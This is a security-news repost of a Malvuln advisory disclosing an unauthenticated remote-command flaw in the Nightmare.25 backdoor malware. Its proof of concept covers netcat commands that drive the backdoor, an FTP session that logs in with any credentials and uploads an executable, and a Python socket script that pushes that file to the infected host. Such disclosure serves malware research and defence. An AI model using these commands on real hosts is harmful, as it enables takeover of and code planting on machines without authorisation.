Security
Headlines
HeadlinesLatestCVEs

Headline

Backdoor.Win32.Nightmare.25 MVID-2024-0687 Code Execution

Backdoor.Win32.Nightmare.25 malware suffers from a code execution vulnerability.

Packet Storm
#vulnerability#web#mac#redis#backdoor#auth
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https://malvuln.com/advisory/0fe8f37543e8face08941899add38e35.txtContact: [email protected]: x.com/malvuln  Threat: Backdoor.Win32.Nightmare.25Vulnerability: Unauthenticated Remote Command ExecutionFamily: NightmareType: PE32MD5: 0fe8f37543e8face08941899add38e35SHA256: 591e348b2c1f25a23f0acf55ba10a71957683b54a5682902c2fa179ba278fff6Vuln ID: MVID-2024-0687Disclosure: 08/09/2024Description: The malware listens on TCP ports 666, 5401 and 5402. Third party adversaries who can reach an infected host on TCP port 666 can issue commands made available by the backdoor. The FTPON command starts an FTP service on TCP port 21, supply any single character after the command E.g. "FTPON x". Furthermore, the FTP server allows for any username/password combination for authentication. Attackers can then upload their own executable to the victim machine using the FTP STOR command. This can undermine the initial adversary intrusion allowing potential takeover by a totally different attacking entity.Commands available:RUN (run programs)FTPON x  (starts FTP)SHOWCHAT xLOGOFF x  (logs out current user)KILLAPPLISTAPPKILL x (shuts down the backdoor)Exploit/PoC:nc64.exe 192.168.18.125 666RUN MSPAINT.EXEProgram executedFTPON xFTP Port openFTPOFF xFTP Port closeSHOWCHAT xChat is visible  (will launch a chat terminal on the slave)HIDECHAT xChat is invisibleLISTAPP x*File: Backdoor.Win32.Nightmare.25.0fe8f37543e8face08941899add38e35.exe - PID: 4284*Process Hacker [DESKTOP-2C4IQJO\VICTIM]+ (Administrator)*dump*Administrator: Administrator Command Prompt*Program Manager KILL x Server not anymore activeLOGOFF xnc64.exe 192.168.18.125 21220 P23h FTP Server ready.USER x331 Password required for x.PASS x230 User x logged in.SYST215 UNIX Type: L8 Internet Component SuiteCDUP \250 CWD command successful. "C:/" is current directory.MKD TEMP257 'C:\TEMP': directory created.PASV227 Entering Passive Mode (192,168,18,125,226,100).STOR DOOM_SM.exe150 Opening data connection for DOOM_SM.exe.226 File received okfrom socket import *MALWARE_HOST="192.168.18.125"PORT=57956  #Calculated port for file transfers 226 * 256 + 100 = 57956DOOM="DOOM_SM.exe"def doit():    s=socket(AF_INET, SOCK_STREAM)    s.connect((MALWARE_HOST, PORT))    f = open(DOOM, "rb")    EXE = f.read()    s.send(EXE)    while EXE:        s.send(EXE)        EXE=f.read()    s.close()    print("By Malvuln");if __name__=="__main__":    doit()Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Packet Storm: Latest News

Ubuntu Security Notice USN-7089-6